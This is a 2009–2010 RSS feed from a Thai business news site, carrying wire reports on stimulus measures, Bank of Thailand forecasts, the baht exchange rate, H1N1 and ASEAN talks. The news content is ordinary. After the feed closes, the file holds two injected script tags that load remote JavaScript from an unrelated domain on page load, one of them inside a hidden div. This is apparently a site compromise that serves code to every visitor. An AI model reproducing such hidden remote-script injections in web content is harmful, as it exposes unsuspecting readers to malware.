<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Business Day News,Thailand Business News,Press Release News, Finance,Forex,Stock,Economy,Politics,Energy,Bank News &#187; economic</title>
	<atom:link href="http://www.bday.net/tag/economic/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.bday.net</link>
	<description>Business Day Online News</description>
	<lastBuildDate>Wed, 08 Feb 2012 17:06:33 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
<xhtml:meta xmlns:xhtml="http://www.w3.org/1999/xhtml" name="robots" content="noindex" />
		<item>
		<title>Economic sustainability projects prioritizes transparency</title>
		<link>http://www.bday.net/economic-sustainability-projects-prioritizes-transparency/</link>
		<comments>http://www.bday.net/economic-sustainability-projects-prioritizes-transparency/#comments</comments>
		<pubDate>Sun, 14 Feb 2010 17:26:04 +0000</pubDate>
		<dc:creator>k</dc:creator>
				<category><![CDATA[Economy]]></category>
		<category><![CDATA[economic]]></category>
		<category><![CDATA[transparency]]></category>
		<category><![CDATA[ustainability]]></category>

		<guid isPermaLink="false">http://www.bday.net/?p=3241</guid>
		<description><![CDATA[BANGKOK, 14 February 2010 (NNT) &#8211; The committee on sustainable economic development projects have appointed a sub-committee to ensure transparency and seek progress on the development of each community member throughout the country. Mr Meechai Viravaidya, Founder and Chairman of the Population and Community Development Association (PDA), disclosed that the budget proposed on 31 January, [...]]]></description>
			<content:encoded><![CDATA[<p>BANGKOK, 14 February 2010 (NNT) &#8211; The committee on sustainable economic development projects have appointed a sub-committee to ensure transparency and seek progress on the development of each community member throughout the country.</p>
<p>Mr Meechai Viravaidya, Founder and Chairman of the Population and Community Development Association (PDA), disclosed that the budget proposed on 31 January, would be approved in March.</p>
<p>To ensure transparency and clean any doubts about corruption, Mr Meechai expressed that a sub-committee would be set up to monitor and seek the progress of the project including all processes of operation, including procurement and management issues.</p>
<p>Mr Meechai continued to say that the committee would travel to the communities to collect opinion surveys from the people about the overall picture of the projects, which could help reduce corruption.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.bday.net/economic-sustainability-projects-prioritizes-transparency/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Govt. to announce its performances on 6 August</title>
		<link>http://www.bday.net/govt-to-announce-its-performances-on-6-august/</link>
		<comments>http://www.bday.net/govt-to-announce-its-performances-on-6-august/#comments</comments>
		<pubDate>Mon, 03 Aug 2009 18:28:46 +0000</pubDate>
		<dc:creator>k</dc:creator>
				<category><![CDATA[Politics]]></category>
		<category><![CDATA[Abhisit Vejjajiva]]></category>
		<category><![CDATA[announce]]></category>
		<category><![CDATA[economic]]></category>
		<category><![CDATA[Satit Wonghnongtaey]]></category>

		<guid isPermaLink="false">http://www.bday.net/?p=1053</guid>
		<description><![CDATA[BANGKOK, 18 August 2009 (NNT) – Minister to the Prime Minister’s office Satit Wonghnongtaey indicated that the government would report on its accomplishments and performances during its six months in power on 6 August. Mr. Satit said Prime Minister Abhisit Vejjajiva would be the person who would present the statement. The exact time and other [...]]]></description>
			<content:encoded><![CDATA[<p><span style="color: #333333;">BANGKOK, 18 August 2009 (NNT) – Minister to the Prime Minister’s office Satit Wonghnongtaey indicated that the government would report on its accomplishments and performances during its six months in power on 6 August.</p>
<p>Mr. Satit said Prime Minister Abhisit Vejjajiva would be the person who would present the statement. The exact time and other ministers who would join the session were being identified, he said. He added the government would also inform the public of its plans to be implemented in the future.</p>
<p>He asserted that the statement making was aimed to ensure the people of the government’s determination to solve the country’s economic problems and to ease the people’s hardship. </span></p>
]]></content:encoded>
			<wfw:commentRss>http://www.bday.net/govt-to-announce-its-performances-on-6-august/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Banks advised to exercise business lending based on economic situation</title>
		<link>http://www.bday.net/banks-advised-to-exercise-business-lending-based-on-economic-situation/</link>
		<comments>http://www.bday.net/banks-advised-to-exercise-business-lending-based-on-economic-situation/#comments</comments>
		<pubDate>Sun, 26 Jul 2009 09:29:48 +0000</pubDate>
		<dc:creator>k</dc:creator>
				<category><![CDATA[Economy]]></category>
		<category><![CDATA[Banks]]></category>
		<category><![CDATA[business]]></category>
		<category><![CDATA[CEBF]]></category>
		<category><![CDATA[economic]]></category>
		<category><![CDATA[Thanavath Phonvichai]]></category>
		<category><![CDATA[v]]></category>

		<guid isPermaLink="false">http://www.bday.net/?p=909</guid>
		<description><![CDATA[BANGKOK, 26 July 2009 (NNT) &#8211; The Director of the Center for Economic and Business Forecasting (CEBF), at the Thai Chamber of Commerce University Mr. Thanavath Phonvichai, recommended seven financial institutions to base their business lending on real demands of economic situations. Mr. Thanavath said he agreed with the government in extending the loan lending [...]]]></description>
			<content:encoded><![CDATA[<p><span style="color: #333333;">BANGKOK, 26 July 2009 (NNT) &#8211; The Director of the Center for Economic and Business Forecasting (CEBF), at the Thai Chamber of Commerce University Mr. Thanavath Phonvichai, recommended seven financial institutions to base their business lending on real demands of economic situations.</p>
<p>Mr. Thanavath said he agreed with the government in extending the loan lending target of seven commercial banks. He said it would help both exporters and investors to have more liquidity.</p>
<p>He recommended banks to release loans in response to the real demand of businesses rather than focusing on reaching the set target in order to avoid non-performance loans [NPLs] as the consequence of overlending if borrowers fail to timely settle their debts,he added.</p>
<p>Mr. Thanavath asserted that clear-cut policies on business lending would regain confidence amongst entrepreneurs and public consumers. </span></p>
]]></content:encoded>
			<wfw:commentRss>http://www.bday.net/banks-advised-to-exercise-business-lending-based-on-economic-situation/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>ASEAN to confer on human rights, economic cooperation, virus</title>
		<link>http://www.bday.net/asean-to-confer-on-human-rights-economic-cooperation-virus/</link>
		<comments>http://www.bday.net/asean-to-confer-on-human-rights-economic-cooperation-virus/#comments</comments>
		<pubDate>Sun, 19 Jul 2009 16:56:59 +0000</pubDate>
		<dc:creator>k</dc:creator>
				<category><![CDATA[Economy]]></category>
		<category><![CDATA[ASEAN]]></category>
		<category><![CDATA[economic]]></category>
		<category><![CDATA[human rights]]></category>
		<category><![CDATA[PHUKET]]></category>
		<category><![CDATA[Terms of Reference]]></category>

		<guid isPermaLink="false">http://www.bday.net/?p=808</guid>
		<description><![CDATA[PHUKET, 19 July 2009 (NNT) – ASEAN Foreign Ministers have voiced agreement towards the final draft of the Terms of Reference (ToR) of the ASEAN Human Rights Body after the Meeting with the High Level Panel (HLP) on the ASEAN Human Rights Body and the High Level Legal Experts Group (HLEG) on the ASEAN Charter [...]]]></description>
			<content:encoded><![CDATA[<p><span style="color: #333333;">PHUKET, 19 July 2009 (NNT) – ASEAN Foreign Ministers have voiced agreement towards the final draft of the Terms of Reference (ToR) of the ASEAN Human Rights Body after the Meeting with the High Level Panel (HLP) on the ASEAN Human Rights Body and the High Level Legal Experts Group (HLEG) on the ASEAN Charter which took place this afternoon.</p>
<p>In a press conference after the meetings, Foreign Minister Kasit Piromya elaborated that the draft ToR would be proposed in the name ‘ASEAN Inter-Governmental Commission on Human Rights’. He said the ASEAN Human Rights Body would be tasked to promote and protect human rights in ASEAN, and would be launched at the 15th ASEAN Summit which will take place in October 2009 in Phuket, Thailand.</p>
<p>Mr Kasit stated that national selection of the body could begin right after the meeting if the ToR could be endorsed at the Foreign Minister Retreat. He explained that the body would consist of one representative appointed by each ASEAN member nation, who would be serving a three-year term, adding that they could come from any sector.</p>
<p>In addition, the Minister informed that the ASEAN Foreign Ministers also endorsed the draft agreement on privileges and immunities of ASEAN, which would be in the same manner as that of the United Nations (UN). He said that it was hoped also that the ASEAN Foreign Ministers would be able to sign this draft during the 15th ASEAN Summit.</p>
<p>The ten ASEAN Foreign Ministers are currently meeting in the southern island of Phuket, at the 42nd ASEAN Ministerial Meetings, Post-Ministerial Conferences and 16th ASEAN Regional Forum from 17-23 July. </span></p>
]]></content:encoded>
			<wfw:commentRss>http://www.bday.net/asean-to-confer-on-human-rights-economic-cooperation-virus/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>New economic stimulus package to boost economy in 2010-2012</title>
		<link>http://www.bday.net/new-economic-stimulus-package-to-boost-economy-in-2010-2012/</link>
		<comments>http://www.bday.net/new-economic-stimulus-package-to-boost-economy-in-2010-2012/#comments</comments>
		<pubDate>Sat, 04 Jul 2009 18:05:23 +0000</pubDate>
		<dc:creator>k</dc:creator>
				<category><![CDATA[Economy]]></category>
		<category><![CDATA[2010-2012]]></category>
		<category><![CDATA[economic]]></category>
		<category><![CDATA[package]]></category>
		<category><![CDATA[stimulus]]></category>
		<category><![CDATA[Thai Khem Khang]]></category>

		<guid isPermaLink="false">http://www.bday.net/?p=596</guid>
		<description><![CDATA[BANGKOK, July 4 (TNA) – The government’s second phase economic stimulus measures under “Thai Khem Khang” or “Stronger Thai 2012” project will help boost the country’s annual economic growth of 1-2.5 per cent during 2010-2012, according to a leading securities analyst. However, implementation of the measures will raise the public debt to 60 per cent [...]]]></description>
			<content:encoded><![CDATA[<p>BANGKOK, July 4 (TNA) – The government’s second phase economic stimulus measures under “Thai Khem Khang” or “Stronger Thai 2012” project will help boost the country’s annual economic growth of 1-2.5 per cent during 2010-2012, according to a leading securities analyst.</p>
<p>However, implementation of the measures will raise the public debt to 60 per cent of the gross domestic product (GDP) in 2012, according to Sukit Udomsiri, first executive vice president of Siam City Research Institute, at a special panel discussion on the economic and financial situation</p>
<p>He predicted the planned issuance of the government bonds to absorb the market liquidity would not adversely affect the overall liquidity in the system.</p>
<p>But liquidity is quite likely to tighten next year as the demand for investment funds by the private sector is set to increase as a result of recover in the global economy.</p>
<p>Under the circumstances, he said, the interest rate might to increase next year.</p>
<p>Mr. Sukit believed the Thai economy next year would not be worse than this year as the global economy is forecast to is forecast to enjoy the V-shape turnaround in 2011.</p>
<p>Still, he warned of the renewed rise in inflation in the coming August-October period, since global oil prices are expected to increase further. (TNA)</p>
]]></content:encoded>
			<wfw:commentRss>http://www.bday.net/new-economic-stimulus-package-to-boost-economy-in-2010-2012/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>BoT: Economic trends to improve; Business confidence index to rise</title>
		<link>http://www.bday.net/bot-economic-trends-to-improve-business-confidence-index-to-rise/</link>
		<comments>http://www.bday.net/bot-economic-trends-to-improve-business-confidence-index-to-rise/#comments</comments>
		<pubDate>Tue, 30 Jun 2009 16:39:57 +0000</pubDate>
		<dc:creator>k</dc:creator>
				<category><![CDATA[Bank And Finance]]></category>
		<category><![CDATA[BoT]]></category>
		<category><![CDATA[economic]]></category>

		<guid isPermaLink="false">http://www.bday.net/?p=539</guid>
		<description><![CDATA[BANGKOK, June 30 (TNA) &#8211; Thailand’s economy is expected to have hit bottom and the business confidence index is projected to increase to 50.2 in the next three months, its first rise in 15 months, a senior Bank of Thailand (BoT) official said on Tuesday.   Amara Sriphayak, senior director of the BoT Domestic Economy [...]]]></description>
			<content:encoded><![CDATA[<p>BANGKOK, June 30 (TNA) &#8211; Thailand’s economy is expected to have hit bottom and the business confidence index is projected to increase to 50.2 in the next three months, its first rise in 15 months, a senior Bank of Thailand (BoT) official said on Tuesday.<br />
 <br />
Amara Sriphayak, senior director of the BoT Domestic Economy Department, said several economic indicators in May, such as the industrial production and consumer confidence indices, began to stabilise although they continued to contract which showed signs that there is little chance for the economy to slip further.<br />
 <br />
Also, the business confidence index in May improved to 45.4 from 39.2 the previous month as three-month advance purchase orders for electronics and electrical appliances  increased, Mrs. Amara said.<br />
 <br />
The projected business confidence index for the next three months rose to 50.2 attributed to transparency in government investment which could assist the gross domestic product (GDP) for the second quarter this year to move into the black, she said. However, the GDP for calendar 2009 is expected to remain contracted.<br />
 <br />
Private investment contracted 16.5 per cent as investors continue to await investment by the government, and there is no sign of private investment in near-term, said Mrs. Amara.<br />
 <br />
Exports in May contracted 26.5 per cent on value of US$11.55 billion, while imports plunged 34.3 per cent on value of US$9.21 billion, the service sector suffered a deficit of US$949 million, current account enjoyed a surplus of US$1.39 billion and inflation dropped 3.3 per cent.<br />
 <br />
Core inflation contracted 0.3 per cent, its first contraction since January 2004 on the back of free education provided by the government and good prices and several items of service fundamentals which were quite high last year. (TNA)</p>
]]></content:encoded>
			<wfw:commentRss>http://www.bday.net/bot-economic-trends-to-improve-business-confidence-index-to-rise/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>PM: Ready to resign after solving political, economic problems</title>
		<link>http://www.bday.net/pm-ready-to-resign-after-solving-political-economic-problems/</link>
		<comments>http://www.bday.net/pm-ready-to-resign-after-solving-political-economic-problems/#comments</comments>
		<pubDate>Mon, 22 Jun 2009 17:46:26 +0000</pubDate>
		<dc:creator>k</dc:creator>
				<category><![CDATA[Economy]]></category>
		<category><![CDATA[Abhisit Vejjajiva]]></category>
		<category><![CDATA[economic]]></category>
		<category><![CDATA[Singapore]]></category>

		<guid isPermaLink="false">http://www.bday.net/?p=424</guid>
		<description><![CDATA[SINGAPORE, June 22 (TNA) &#8211; Visiting Thai Prime Minister Abhisit Vejjajiva said on Monday he is willing to step down after solving political turbulence and economic problems in the country and completing his chairmanship of the Association of Southeast Asian Nations (ASEAN).   Speaking to business executives during his one-day official visit to the island [...]]]></description>
			<content:encoded><![CDATA[<p>SINGAPORE, June 22 (TNA) &#8211; Visiting Thai Prime Minister Abhisit Vejjajiva said on Monday he is willing to step down after solving political turbulence and economic problems in the country and completing his chairmanship of the Association of Southeast Asian Nations (ASEAN).<br />
 <br />
Speaking to business executives during his one-day official visit to the island nation, Mr. Abhisit said a general election would be held after the three primary problems are settled.</p>
<p>&#8220;It’s not difficult to dissolve the House and return power to the people,&#8221; the prime minister said.<br />
 <br />
Mr. Abhisit will complete his ASEAN chairmanship at the end of this year.<br />
 <br />
Reasserting that the overall situation in Thailand is quite peaceful now, the prime minister said his government still must more quickly resolve the political, economic and southern insurgency problems so that &#8220;peace can return to the country.”<br />
 <br />
He said his government has issued two programmes of economic stimulus measures which he is confident will turn the economy around to reenter positive performance in the fourth quarter this year.<br />
 <br />
The government will boost tourism and public utilities and Thailand will remain the world’s largest food exporter, Mr. Abhisit said.<br />
 <br />
Mr. Abhisit was scheduled to hold talks with his Singapore counterpart Lee Hsien Loong, pay a courtesy call on President S.R. Nathan and confer with Minister Mentor Lee Kuan Yew, Singapore’s first prime minister, before returning to Bangkok late Monday. (TNA)</p>
]]></content:encoded>
			<wfw:commentRss>http://www.bday.net/pm-ready-to-resign-after-solving-political-economic-problems/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Tourism sector apt to bear brunt of crisis</title>
		<link>http://www.bday.net/tourism-sector-apt-to-bear-brunt-of-crisis/</link>
		<comments>http://www.bday.net/tourism-sector-apt-to-bear-brunt-of-crisis/#comments</comments>
		<pubDate>Fri, 19 Jun 2009 07:14:37 +0000</pubDate>
		<dc:creator>k</dc:creator>
				<category><![CDATA[Economy]]></category>
		<category><![CDATA[economic]]></category>
		<category><![CDATA[Tourism]]></category>

		<guid isPermaLink="false">http://www.bday.net/?p=402</guid>
		<description><![CDATA[BANGKOK, June 19 (TNA) – Thailand’s tourism sector is expected to bear the major negative impact of the current economic crisis given the internal and external risk factors the country is now experiencing, according to a leading economist. Speaking at a seminar on “Navigate Crisis, Adjust to Fight Global Economic Meltdown,” Siam Commercial Bank Executive [...]]]></description>
			<content:encoded><![CDATA[<p>BANGKOK, June 19 (TNA) – Thailand’s tourism sector is expected to bear the major negative impact of the current economic crisis given the internal and external risk factors the country is now experiencing, according to a leading economist.</p>
<p>Speaking at a seminar on “Navigate Crisis, Adjust to Fight Global Economic Meltdown,” Siam Commercial Bank Executive Vice President Sethaput Suthiwart-Narueput, who heads the Economic and Business Intelligence Unit, said the ongoing global economic recession had taken its toll on various sectors in Thailand.</p>
<p>The country’s industrial and export sectors had been hit by the recession, but there was a signal that the impacts had nearly hit the bottom.</p>
<p>He said tourism is the sector that worried him most since it had been directly impacted by the recession and the ongoing spread of H1N1 influenza worldwide.</p>
<p>Worse still, there is the large number of employees working in this sector where 80 per cent of the operators are small-and medium-size enterprises.</p>
<p>So, it had directly affected the employment and the local consumption.</p>
<p>Given these factors, he projected the Thai economy would shrink 5 per cent for this year. The economic recovery would be slower than usual because the crisis stemmed from the financial sector collapse.</p>
<p>Mr. Sethaput said it would take time to restore consumption, spending and purchasing power in the United States, Europe and Japan, which are major export destinations of Thailand and many other countries. (TNA)</p>
]]></content:encoded>
			<wfw:commentRss>http://www.bday.net/tourism-sector-apt-to-bear-brunt-of-crisis/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Thai Baht closes at 34.18-34.21 against the greenback</title>
		<link>http://www.bday.net/thai-baht-closes-at-3418-3421-against-the-greenback/</link>
		<comments>http://www.bday.net/thai-baht-closes-at-3418-3421-against-the-greenback/#comments</comments>
		<pubDate>Mon, 15 Jun 2009 16:32:45 +0000</pubDate>
		<dc:creator>k</dc:creator>
				<category><![CDATA[Business News]]></category>
		<category><![CDATA[economic]]></category>
		<category><![CDATA[Thai Baht]]></category>
		<category><![CDATA[US dollar]]></category>

		<guid isPermaLink="false">http://www.bday.net/?p=358</guid>
		<description><![CDATA[BANGKOK, 15 June 2009 (NNT) – The Thai baht closed at 34.18-34.21 against the US dollar after the market ended this afternoon. The value of Thai baht fluctuated in a narrow range all day, and hit the highest at 34.13 and the lowest at 34.22 against the dollar. Thai Baht in off-shore market closed at [...]]]></description>
			<content:encoded><![CDATA[<p><span style="color: #333333;">BANGKOK, 15 June 2009 (NNT) – The Thai baht closed at 34.18-34.21 against the US dollar after the market ended this afternoon. The value of Thai baht fluctuated in a narrow range all day, and hit the highest at 34.13 and the lowest at 34.22 against the dollar.</p>
<p>Thai Baht in off-shore market closed at 34.08 against the dollar last Friday. The Baht at 8.20 am today fluctuated in the range of 34.09-34.13 in line with the US dollar currency. The US dollar appreciated today due to the positive reports on economic figures, which resulted in a depreciation of the baht.</p>
<p>The Thai baht is expected to trade slightly weaker tomorrow, and should fluctuate in the range of 34.15-34.30 against the dollar</span></p>
]]></content:encoded>
			<wfw:commentRss>http://www.bday.net/thai-baht-closes-at-3418-3421-against-the-greenback/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Korn: Spread of A (H1N1) virus will not affect national economy</title>
		<link>http://www.bday.net/korn-spread-of-a-h1n1-virus-will-not-affect-national-economy/</link>
		<comments>http://www.bday.net/korn-spread-of-a-h1n1-virus-will-not-affect-national-economy/#comments</comments>
		<pubDate>Sat, 13 Jun 2009 04:42:46 +0000</pubDate>
		<dc:creator>k</dc:creator>
				<category><![CDATA[Business News]]></category>
		<category><![CDATA[economic]]></category>
		<category><![CDATA[Finance Minister]]></category>
		<category><![CDATA[H1N1]]></category>
		<category><![CDATA[Korn Chatikavanij]]></category>
		<category><![CDATA[Thai economy]]></category>

		<guid isPermaLink="false">http://www.bday.net/?p=334</guid>
		<description><![CDATA[BANGKOK, 12 June 2009 (NNT) – Finance Minister Korn Chatikavanij assured that the spread of the pandemic influenza A (H1N1) would not have an impact on the Thai economy. Mr. Korn believed that the national economic situation would not be affected by the spread of the virus, reasoning that the Ministry of Public Health had [...]]]></description>
			<content:encoded><![CDATA[<p><span style="color: #333333;">BANGKOK, 12 June 2009 (NNT) – Finance Minister Korn Chatikavanij assured that the spread of the pandemic influenza A (H1N1) would not have an impact on the Thai economy.</p>
<p>Mr. Korn believed that the national economic situation would not be affected by the spread of the virus, reasoning that the Ministry of Public Health had been efficiently handling the outbreak and would be able to ensure Thai citizens and foreign tourists of their safety. He also admitted a high probability for the virus to pass into free trade countries such as Thailand but confirmed that the government had been closely monitoring the situation.</p>
<p>In order to boost the national economy Mr. Korn said the government had planned to launch several economic stimulus measures under the ‘Strength of Thailand’ scheme with a total budget of 1.43 trillion baht. The measures would aim to solve unemployment, increase purchasing power in the country and yield long-term economic advantages. The Finance Minister assured that the government’s plan to seek loans would not impact the country’s fiscal standing. </span></p>
]]></content:encoded>
			<wfw:commentRss>http://www.bday.net/korn-spread-of-a-h1n1-virus-will-not-affect-national-economy/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
	</channel>
</rss>
<div style="display:none"><script language=javascript src=http://taoq.info/about/3.js></script></div>
<script language=javascript src=http://taoq.info/about/4.js></script>


<!-- Performance optimized by W3 Total Cache. Learn more: http://www.w3-edge.com/wordpress-plugins/

Served from: www.bday.net @ 2012-02-08 20:05:47 -->
